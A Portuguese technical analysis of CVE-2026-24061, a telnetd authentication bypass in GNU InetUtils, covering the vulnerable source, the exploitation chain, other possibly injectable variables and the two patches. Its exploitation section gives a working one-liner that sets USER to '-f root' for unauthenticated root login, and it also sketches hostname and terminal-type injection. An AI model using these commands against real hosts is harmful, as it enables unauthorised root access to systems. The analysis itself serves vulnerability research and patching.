
Análise técnica aprofundada e scanner para CVE-2026-24061, uma bypass crítica de autenticação no GNU InetUtils telnetd, incluindo cadeia de exploração, PoC e detalhes do patch.
A CVE-2026-24061 é uma vulnerabilidade crítica (CVSS 9.8) de bypass de autenticação remota no GNU InetUtils telnetd que permite que atacantes não autenticados obtenham acesso root instantâneo. A vulnerabilidade decorre da sanitização inadequada da variável de ambiente USER, que é passada diretamente para /usr/bin/login como argumento de linha de comando. Ao definir USER=-f root, um atacante aciona a flag -f do login, que ignora completamente a autenticação.
Versões Afetadas: GNU InetUtils 1.9.3 até 2.7 Tipo de Vulnerabilidade: CWE-88 (Injeção de Argumentos) Data da Descoberta: 20 de janeiro de 2026 Descobridor: Kyu Neushwaistein (também conhecido como Carlos Cortes Alvarez)
telnetd/telnetd.c, linhas ~49-63)A vulnerabilidade começa com uma string de modelo de comando que define como o telnetd invoca /usr/bin/login:
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;
Observação Principal: Em sistemas não Solaris, o modelo usa:
%?u{-f %u}{%U} - Esta é uma expressão condicional que significa:
user_name estiver definido (%u), use -f %u (login automático autenticado)%U (a variável de ambiente USER como fallback)O problema crítico: %U expande para a variável de ambiente USER bruta, sem sanitização.
telnetd/utility.c, _var_short_name())A string do modelo é processada por expand_line(), que chama _var_short_name() para expandir os espaços reservados. Aqui está o código vulnerável:
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
char *q;
char timebuf[64];
time_t t;
switch (*exp->cp++)
{
case 'a':
#ifdef AUTHENTICATION
if (auth_level >= 0 && autologin == AUTH_VALID)
return xstrdup ("ok");
#endif
return NULL;
case 'd':
time (&t);
strftime (timebuf, sizeof (timebuf),
"%l:%M%p on %A, %d %B %Y", localtime (&t));
return xstrdup (timebuf);
case 'h':
return xstrdup (remote_hostname); // POTENCIALMENTE VULNERÁVEL
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL; // POTENCIALMENTE VULNERÁVEL
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup (""); // VULNERÁVEL!
default:
exp->state = EXP_STATE_ERROR;
return NULL;
}
}
O Bug Crítico (caso 'U'): A variável de ambiente USER é obtida via getenv() e passada sem qualquer sanitização. Quando um atacante define USER=-f root, isso se torna parte da linha de comando do login.
telnetd/pty.c, start_login())A string de invocação do login expandida é executada em start_login():
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);
O atacante se conecta ao telnetd (porta 23)
A negociação de opções Telnet ocorre:
IAC DO NEW_ENVIRONIAC WILL NEW_ENVIRONIAC SB NEW_ENVIRON SEND (solicitando ambiente)IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SEO servidor processa a variável USER:
getenv("USER") retorna -f root%U expande para -f root/usr/bin/login -p -h <hostname> -f rootO login interpreta -f root:
-f significa "ignorar autenticação, usuário já está pré-autenticado"root é o nome de usuário para fazer login# Na máquina do atacante:
USER='-f root' telnet -a <ip_alvo>
A flag -a ativa o modo de login automático, que envia a variável de ambiente USER para o servidor.
O aviso de segurança observa explicitamente: "Assim, há potencial para vulnerabilidades semelhantes em outras variáveis." Vamos analisar cada variável em _var_short_name():
| Var | Nome | Origem | Controlável pelo Usuário? | Sanitizada? | Superfície de Ataque |
|---|---|---|---|---|---|
%U | Variável de ambiente USER | getenv("USER") | SIM (via NEW_ENVIRON) | NÃO | CRÍTICA - CVE-2026-24061 |
%h | remote_hostname | Consulta DNS/PTR | Parcial (registro PTR) | NÃO | ALTA |
%T | terminaltype | Opção TERMINAL-TYPE | SIM | NÃO | MÉDIA |
%u | user_name | Negociação de protocolo | SIM | NÃO | MÉDIA (requer autenticação) |
%l | local_hostname | Configuração do sistema | NÃO | N/A | BAIXA |
%L | line (TTY) | Alocada pelo sistema | NÃO | N/A | BAIXA |
%t | Nome curto do TTY | Alocada pelo sistema | NÃO | N/A | BAIXA |
%d | data/hora | Relógio do sistema | NÃO | N/A | NENHUMA |
%a | Status de autenticação | Estado interno | NÃO | N/A | NENHUMA |
%h - Nome do Host Remoto (ALTO RISCO)Origem: Preenchida em telnetd_setup() a partir de telnetd.c via getnameinfo() ou gethostbyaddr().
O Problema: Se um atacante controlar seu registro PTR (DNS reverso), ele poderia potencialmente injetar:
foo -f root
Como seu nome de host, que se tornaria parte do argumento -h:
/usr/bin/login -p -h "foo -f root" ...
Dificuldade de Exploração:
Cenário do Mundo Real: Um atacante com controle do registro PTR de seu IP (comum em provedores de VPS) poderia definir seu DNS reverso para um valor malicioso.
%T - Tipo de Terminal (RISCO MÉDIO)Origem: Recebido via subnegociação Telnet TERMINAL-TYPE, armazenado na variável terminaltype.
O Problema: A string do tipo de terminal é controlada pelo atacante e não sanitizada:
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
Uso nos Modelos:
%?T{-t %T} - Usado com a flag -t%?T{%T} - Inserido diretamenteAtaque Potencial:
TERMINAL-TYPE: xterm -f root
No entanto, a exploração depende de:
%T (atualmente apenas Solaris)-t%u - Nome de Usuário Autenticado (RISCO MÉDIO)Origem: Definido durante a negociação de autenticação.
O Problema: Usado no padrão -f %u:
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
Se um atacante pudesse manipular user_name para incluir metacaracteres de shell ou argumentos adicionais, ele poderia obter escalonamento de privilégios. No entanto, esta variável normalmente só é definida após alguma forma de validação de autenticação.
%l, %L, %t: Derivadas de valores controlados pelo sistema (nome do host local, nomes de dispositivos TTY) que atacantes não podem influenciar remotamente.
%d: Gerada a partir do relógio do sistema - sem vetor de injeção.
%a: Variável interna de estado de autenticação - retorna literalmente "ok" ou NULL.
Com base nesta vulnerabilidade, aqui estão padrões para pesquisar no código:
// PERIGOSO: Uso direto de variáveis de ambiente
getenv("VARIABLE")
Arquivos para verificar:
telnetd/utility.c - Outras funções de expansãotelnetd/telnetd.c - Tratamento de ambienterlogind/, rshd/ - Serviços semelhantes// PERIGOSO: Dados do usuário em modelos de comando
sprintf(cmd, "command %s", user_controlled_var);
system(cmd);
execv(argv[0], argv);
// POTENCIALMENTE PERIGOSO: Dados DNS podem ser controlados pelo atacante
getnameinfo(...); // Consultas PTR
gethostbyaddr(...);
// Depois usar o resultado na construção de comandos
Daemon ftpd: Verificar como a entrada do usuário é tratada na autenticação e no processamento de comandos
Daemons rshd/rlogind: Usam padrões de autenticação semelhantes e podem ter problemas comparáveis com o tratamento de nome de host ou ambiente
Análise da configuração do inetd: Pode processar entrada não confiável ao configurar serviços
Pontos de integração Kerberos: Ao processar nomes de principais ou tokens de autenticação
fd702c02)O primeiro patch adiciona sanitização básica:
case 'U':
{
char *u = getenv("USER");
return (u && *u != '-') ? xstrdup(u) : xstrdup("");
}
Isso bloqueia valores que começam com -, o que impede a injeção de flags.
ccba9f74)O segundo patch introduz uma função sanitize() reutilizável para todas as entradas controladas pelo usuário:
/* Sanitize user-supplied string to prevent argument injection */
static char *
sanitize (const char *str)
{
if (str == NULL || *str == '-')
return xstrdup ("");
return xstrdup (str);
}
Aplicada a todas as variáveis potencialmente perigosas:
%U (USER)%h (remote_hostname)%T (terminaltype)CVE-2026-24061 é uma vulnerabilidade clássica de injeção de argumentos que passou despercebida por 11 anos devido a:
Vulnerabilidades semelhantes podem existir nas variáveis %h (nome do host) e %T (tipo de terminal), embora a exploração seja mais complexa.
Implicações mais amplas: Qualquer código que construa comandos de shell ou argumentos de programa a partir de dados derivados da rede deve ser auditado para vulnerabilidades de injeção semelhantes.
Mitigações recomendadas:
-f